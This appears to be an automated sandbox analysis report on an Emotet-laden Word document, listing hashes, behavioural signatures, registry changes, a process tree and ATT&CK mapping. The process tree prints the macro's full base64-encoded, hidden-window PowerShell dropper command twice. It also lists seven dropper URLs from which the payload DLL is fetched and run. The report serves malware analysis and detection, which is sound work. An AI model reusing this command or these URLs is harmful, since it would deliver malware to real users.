6ea3e8833264dce215a9a788fa31aafed539ed4f2710a6c75c52bd3377d03699

General

Target

emotet_e2_6ea3e8833264dce215a9a788fa31aafed539ed4f2710a6c75c52bd3377d03699_2021-01-12__201821137902._doc.doc
Size

157KB
MD5

0f5a84ada7e745da2c9aaf97d1d851d4
SHA1

73dd6fbc02538012cb2001af2dd0343053945152
SHA256

6ea3e8833264dce215a9a788fa31aafed539ed4f2710a6c75c52bd3377d03699
SHA512

f73424cce7b24ab3e582b46894b8dc6bae0df3331f593b0596b3dd87e3ff068adf11134d36848049c6a694e18141908e16c353e5866aa3dee17d0753b749d62a

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://shulovbaazar.com/c/bcL6/

exe.dropper

https://mybusinessevent.com/tiki-install/e/

exe.dropper

http://uhk.cncranes.com/ErrorPages/3/

exe.dropper

https://capturetheaction.com.au/wp-includes/Yjp/

exe.dropper

https://thenetworker.ca/comment/8N4/

exe.dropper

https://trayonlinegh.com/cgi-bin/HBPR/

exe.dropper

http://mmo.martinpollock.co.uk/a/SQSGg/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1380 1780 cmd.exe
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 644 powershell.exe
8 644 powershell.exe
10 644 powershell.exe
12 332 rundll32.exe
13 332 rundll32.exe
16 332 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1676 rundll32.exe
1676 rundll32.exe
1676 rundll32.exe
1676 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1380	1780	cmd.exe

flow	pid	process
6	644	powershell.exe
8	644	powershell.exe
10	644	powershell.exe
12	332	rundll32.exe
13	332	rundll32.exe
16	332	rundll32.exe

pid	process
1676	rundll32.exe
1676	rundll32.exe
1676	rundll32.exe
1676	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Gssttkmcpsf\sfzslssabq.zvn	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

784 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exerundll32.exe

pid process

644 powershell.exe
644 powershell.exe
332 rundll32.exe
332 rundll32.exe
332 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 644 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

784 WINWORD.EXE
784 WINWORD.EXE

pid	process
784	WINWORD.EXE

pid	process
644	powershell.exe
644	powershell.exe
332	rundll32.exe
332	rundll32.exe
332	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	644	powershell.exe

pid	process
784	WINWORD.EXE
784	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1380 wrote to memory of 396	1380	cmd.exe	msg.exe
PID 1380 wrote to memory of 396	1380	cmd.exe	msg.exe
PID 1380 wrote to memory of 396	1380	cmd.exe	msg.exe
PID 1380 wrote to memory of 644	1380	cmd.exe	powershell.exe
PID 1380 wrote to memory of 644	1380	cmd.exe	powershell.exe
PID 1380 wrote to memory of 644	1380	cmd.exe	powershell.exe
PID 644 wrote to memory of 792	644	powershell.exe	rundll32.exe
PID 644 wrote to memory of 792	644	powershell.exe	rundll32.exe
PID 644 wrote to memory of 792	644	powershell.exe	rundll32.exe
PID 792 wrote to memory of 1676	792	rundll32.exe	rundll32.exe
PID 792 wrote to memory of 1676	792	rundll32.exe	rundll32.exe
PID 792 wrote to memory of 1676	792	rundll32.exe	rundll32.exe
PID 792 wrote to memory of 1676	792	rundll32.exe	rundll32.exe
PID 792 wrote to memory of 1676	792	rundll32.exe	rundll32.exe
PID 792 wrote to memory of 1676	792	rundll32.exe	rundll32.exe
PID 792 wrote to memory of 1676	792	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 332	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 332	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 332	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 332	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 332	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 332	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 332	1676	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_6ea3e8833264dce215a9a788fa31aafed539ed4f2710a6c75c52bd3377d03699_2021-01-12__201821137902._doc.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:784

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:644

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:792

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gssttkmcpsf\sfzslssabq.zvn",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:332

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll

MD5
3d73990d57b3b35c32245c1651e8eb38

SHA1
dcb2ed2ab88f6d34cc6d84568001afc30adf54c3

SHA256
6112dd984f278d7a1619ba1008771f62e85aa4fd280fbf3b7eed3a59de436400

SHA512
72a8a374d9b16bc5486dbd24f3592f1d7c300076f3e8a6afdd4f1cbbe1b191e3abf8bf167fa7d7067be34acd00ff5995743cd3f8194c9f480e9b2aafd1245e54

Download Submit
\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll

MD5
3d73990d57b3b35c32245c1651e8eb38

SHA1
dcb2ed2ab88f6d34cc6d84568001afc30adf54c3

SHA256
6112dd984f278d7a1619ba1008771f62e85aa4fd280fbf3b7eed3a59de436400

SHA512
72a8a374d9b16bc5486dbd24f3592f1d7c300076f3e8a6afdd4f1cbbe1b191e3abf8bf167fa7d7067be34acd00ff5995743cd3f8194c9f480e9b2aafd1245e54

Download Submit
\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll

MD5
3d73990d57b3b35c32245c1651e8eb38

SHA1
dcb2ed2ab88f6d34cc6d84568001afc30adf54c3

SHA256
6112dd984f278d7a1619ba1008771f62e85aa4fd280fbf3b7eed3a59de436400

SHA512
72a8a374d9b16bc5486dbd24f3592f1d7c300076f3e8a6afdd4f1cbbe1b191e3abf8bf167fa7d7067be34acd00ff5995743cd3f8194c9f480e9b2aafd1245e54

Download Submit
\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll

MD5
